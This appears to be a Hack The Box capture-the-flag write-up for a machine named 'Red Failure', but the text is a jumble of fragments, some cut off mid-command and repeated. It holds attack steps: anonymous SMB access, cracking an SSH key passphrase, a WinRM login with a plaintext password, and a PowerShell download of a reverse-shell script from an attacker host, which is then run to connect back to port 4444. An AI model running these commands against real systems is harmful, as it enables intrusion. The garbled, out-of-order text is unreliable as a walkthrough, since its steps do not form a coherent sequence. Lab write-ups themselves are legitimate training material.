Red Failure - Htb

ssh -i id_rsa user@10.10.11.193 However, we find that the private key is encrypted and requires a passphrase. We can use the ssh2john tool to crack the passphrase:

Get-ChildItem -Path C:\Users\Administrator\Desktop -Filter *flag* Voilà! We've successfully exploited the Red Failure machine and obtained the flag.

smbclient //10.10.11.193/backup -U anonymous Once inside the share, we find a file called backup.zip . We can download the file and attempt to unzip it: red failure htb

Invoke-WebRequest -Uri http://10.10.16.38:8080/Invoke-PowerShellTcpip.ps1 -OutFile Invoke-PowerShellTcpip.ps1 Then:

winrm -remote:localhost -user:Administrator -password: P@ssw0rd! However, we still encounter issues. Let's try to use PowerShell to execute a command: ssh -i id_rsa user@10

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With elevated privileges, we can navigate to the Administrator's desktop and retrieve the flag: smbclient //10

.\Invoke-PowerShellTcpip.ps1 -Reverse -Ip 10.10.16.38 -Port 4444